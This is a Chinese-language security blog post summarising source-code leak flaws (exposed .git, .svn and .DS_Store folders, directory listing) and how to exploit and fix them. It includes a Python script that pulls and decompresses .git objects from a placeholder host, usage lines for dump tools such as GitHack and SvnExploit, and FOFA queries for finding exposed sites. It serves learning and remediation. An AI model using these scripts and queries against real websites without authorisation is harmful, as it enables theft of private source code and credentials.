源代码泄露总结

发布时间 2023-08-29 22:17:36作者: Only-xiaoxiao

.git 源码泄露

.git信息泄露漏洞-简明原理及利用方法 - FreeBuf网络安全行业门户

Git信息泄露原理解析及利用总结 - FreeBuf网络安全行业门户

commit、tree和blob三个对象之间的关系|Git (geek-docs.com)

参考源于上面师傅文章,引用以作学习之用!

git 简单使用

Git常用命令实操

   1. 工程准备 git init/git clone
   2. 新增/删除/移动文件到暂存区 git add/ git rm/ git mv
   3. 查看工作区 git diff/ git status
   4. 提交更改的文件 git commit
   5. 查看日志 git log
   6. 推送远端仓库 git push
   7. 分支管理 git branch/git checkout /git branch –d/git pull
   8. 分支合并 git merge/git rebase
   9. 强制回退到历史节点 git reset/git checkout . 

Git版本控制下的工程区域

只有三种:
1.版本库( Repository )
在工作区中有一个隐藏目录.git,这个文件夹就是Git的版本库,里面存放了Git用来管理该工程的所有版本数据,也可以叫本地仓库。
2.工作区( Working Directory )
日常工作的代码文件或者文档所在的文件夹。
3.暂存区( stage )
一般存放在工程根目录 .git/index文件中,所以我们也可以把暂存区叫作索引(index)。

Git版本控制下的文件状态

只有三种:
1.已提交( committed ) 
该文件已经被安全地保存在本地数据库中了;
2.已修改(modified) 
修改了某个文件,但还没有提交保存;
3.已暂存(staged)
把已修改的文件放在下次提交时要保存的清单中。

Git 常用命令使用

工程准备
工程克隆—— git clone

查看工作区
查看工作区的修改内容—— git diff
查看工作区文件状态—— git status

文件修改后提交推送
新增/删除/移动文件到暂存区—— git add/ git rm/ git mv
提交更改的文件—— git commit
推送远端仓库—— git push

查看日志
查看当前分支上的提交日志—— git log

分支管理
列出本地分支—— git branch
新建分支—— git branch / git checkout –b
删除分支—— git branch –d
切换分支—— git checkout
更新分支—— git pull
合并分支—— git merge 

撤销操作
强制回退到历史节点—— git reset
回退本地所有修改而未提交的—— git checkout 

分支合并
合并目标分支内容到当前分支—— git merge/git rebase

.git 源码泄露原理

commit、tree和blob三个对象之间的关系

image

image

objects 文件夹

.git下的objects文件夹是用来存放所有被追踪的git对象的,每个git对象所对应的hash值的头两位会变为文件夹,剩下的变为文件名,保存在这里。

我们想下载源码、文件,都是通过这个文件夹。通过目标文件的hash值,这样就能在objects下找到目标文件。

image

image

image

结合上述信息,通过下面脚本找到目标文件。

import zlib
import requests

url = "http://X.X.X.X:8000/.git/objects/12/6b3a8415dd1de4bd81087ccae3ae5de392f49a"

# /12/6b3a8415dd1de4bd81087ccae3ae5de392f49a
# /31/aa1c87420f57ff17c165406d4d68c27c3c828e
# /1e/ff285895bcd12915619952e04b67c354351cec

re = requests.get(url)
ss = re.content
word = zlib.decompress(ss)

print (word) 
# b'tag 159\x00object 31aa1c87420f57ff17c165406d4d68c27c3c828e\ntype commit\ntag 1.0-rc2\ntagger xxxxxxx <xxxxxxx@gmail.com> 1409401628 +0800\n\nReleased on 2014/08/30\n'

文件里包含了一个tree对象的hash值(31aa1c87420f57ff17c165406d4d68c27c3c828e),和文件的身份作者(xxxxxxx@gmail.com)

我们现在可以用tree的hash值去,得到这个tree对象文件的内容【这里存在重复套娃,hash链条式的查找直到看到项目文件】【这里其实就是子文件夹的关系】

如下:

b"tree 213\x00100755 cardapi.php\x00\xc3\xffk\x95\xa1?\x87\xf8#\xf5TD\x8e\xf6~\xb2\x02%Y\xb940000 conf\x00\x1a \xe3\xd1\x10\xe7\xf9z\x1f\x91<\xdeb\xb3\xf2&\xef\x94\xf9\xa840000 core\x004WAF\xe1\x93\xabJ\x89\xb6+\xc3U\xfd\xfd\xe3\x84\x11\xe8^40000 model\x00\xf0%\xd8\x98m'\x00\xa5\xcc\xd3\xb1\xe0GUy\xeb0\xaf9.100755 recordapi.php\x00!\xc3\x15\xf3\xb4\xdb\xa9\xa0\xe3L\xdc1\xb0a/O\x01{\x92\xe3100755 userapi.php\x00\x1a\x8ebD)\xf1\x8d8\x1dG\xad\xec\xd7;\xb0\xbd\rK`\xfc"

到这里可以看到具体文件啦!

例如 cardapi.php:

http://X.X.X.X:8000/.git/objects/c3/ff6b95a13f87f823f554448ef67eb2022559b9

用上述脚本即可获得源码:

b"blob 272\x00<?php\nrequire('./core/zx.class.php');\n$api = new api();\n\n//\xe5\x8f\x8d\xe5\xba\x8f\xe5\x88\x97\xe5\x8c\x96\n$_POST['users'] = unserialize($_POST['users']);\n\n\n//\xe8\xb0\x83\xe7\x94\xa8\xe6\x8e\xa5\xe5\x8f\xa3\n$api->actionCardInfo($_POST);\n\n//\xe8\xb0\x83\xe7\x94\xa8\xe7\xbb\x93\xe6\x9e\x9c\n$result = $api->actionGetResult();\n\n//\xe8\xbe\x93\xe6\xb5\x8f\xe8\xa7\x88\xe5\x99\xa8\nprint_r(json_encode($result));\n\n\n\n\n\n?>"

GitHacker 脚本使用

WangYihang/GitHacker: ?️ A .git folder exploiting tool that is able to restore the entire Git repository, including stash, common branches, common tags. (github.com)

lijiejie/GitHack: A .git folder disclosure exploit (github.com)

How It works

  • 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
  • 去.git/objects/ 文件夹下下载对应的文件
  • zlib解压文件,按原始的目录结构写入源代码

Usage

python GitHack.py http://X.X.X.X/.git/

手动找hash技巧

1.
.git/logs/

.git/logs/HEAD 中明文找到hash
.git/logs/refs/heads/master 找到明文hash

2.
.git/refs/

.git/refs/heads/master 明文的hash在里面
.git/refs/stash
.git/refs/tags

3.
.git/HEAD
.git/Index

head文件保存引用的,非直接保存hash
index文件是个暂存区,会有大概率出现commit 或 tree 或 blob对象的hash,要hex打开

4.
.git/COMMIT_EDITMSG 可能有有价值的备注
.git/config 可能有身份信息

fofa 语法

body=".git" &&body="Index of /"

.svn 源码泄露

SVN信息泄露漏洞 - f_carey - 博客园 (cnblogs.com)

参考源于上面师傅文章,引用以作学习之用!

简介与原理

SVN(subversion)是程序员常用的源代码版本管理软件。在使用 SVN 管理本地代码过程中,使用 svn checkout 功能来更新代码时,项目目录下会自动生成隐藏的.svn文件夹(Linux上用 ls 命令看不到,要用 ls -al 命令),其中包含重要的源代码信息。

造成SVN源代码漏洞的主要原因是管理员操作不规范,一些网站管理员在发布代码时,不愿意使用“导出”功能,而是直接复制代码文件夹到WEB服务器上,这就使得.svn隐藏文件夹被暴露于外网环境,黑客对此可进一步利用:

1. 可以利用其中包含的用于版本信息追踪的 entries 文件(.svn/entries 文件),获取到服务器源码、svn服务器账号密码等信息;
2. 可以利用 wc.db 数据库文件(.svn/wc.db 文件),获取到一些数据库信息;[在 NODES 表中,遍历这个表里的每一行,就可以下载到整个项目里的代码了,而且还能得到对应的真实文件名。]
3. 更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,则可以直接获得文件源代码。

fofa 语法

body="12" && "/.svn/entries" && body="Index of /"

源码下载

admintony/svnExploit: SvnExploit支持SVN源代码泄露全版本Dump源码 (github.com)

0xHJK/dumpall: 一款信息泄漏利用工具,适用于.git/.svn/.DS_Store泄漏和目录列出 (github.com)

python SvnExploit.py -u http://X.X.X.X/.svn --dump

python dumpall.py -u https://X.X.X.X/.svn

漏洞修复

  1. 不要使用svn checkoutsvn up更新服务器上的代码,使用svn export(导出)功能代替;
  2. 服务器软件(Nginx、apache、tomcat、IIS等)设置目录权限,禁止访问.svn目录;
  3. 删除 /.svn 文件夹

.DS_Store源码泄露

漏洞成因

.DS Store是Mac下Finder用来保存如何展示文件/文件夹的数据文件,每个文件夹下对应一个,用来存储当前文件夹的属性。由于开发人员在发布代码时未删除文件夹中隐藏的.DS store,可能造成文件目录结构泄漏、源代码文件等敏感信息的泄露。

python dumpall.py -u https://X.X.X.X/.DS_Store/

目录遍历导致源码泄露

漏洞描述

目录遍历漏洞是由于网站存在配置缺陷,存在目录可浏览漏洞,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件、配置文件等,攻击者利用该信息可以更容易得到网站权限,导致网站被黑。

风险分析

攻击者通过访问网站某一目录时,该目录没有默认首页文件或没有正确设置默认首页文件,将会把整个目录结构列出来,将网站结构完全暴露给攻击者; 攻击者可能通过浏览目录结构,访问到某些隐秘文件(如PHPINFO文件、服务器探针文件、网站管理员后台访问地址、数据库连接文件等)。

fofa 语法

 body="Index of /" && body=".zip"

漏洞防范

目前存在该漏洞的常见中间件为 Apache 和 IIS,以下列出其相关的修复方式:

1. IIS 中关闭目录浏览功能:在 IIS 的网站属性中,勾去“目录浏览”选项,重启 IIS。

2. Apache 中关闭目录浏览功能:打开 Apache 配置文件 httpd.conf,查找“Options Indexes FollowSymLinks”,修改为 “ Options -Indexes FollowSymLinks” (减号表示取消),保存退出,重启Apache。

3. Nginx 中默认不会开启目录浏览功能,若您发现当前已开启该功能,可以编辑 nginx.conf 文件,删除如下两行:autoindex on;autoindex_exact_size on;,然后重启Nginx。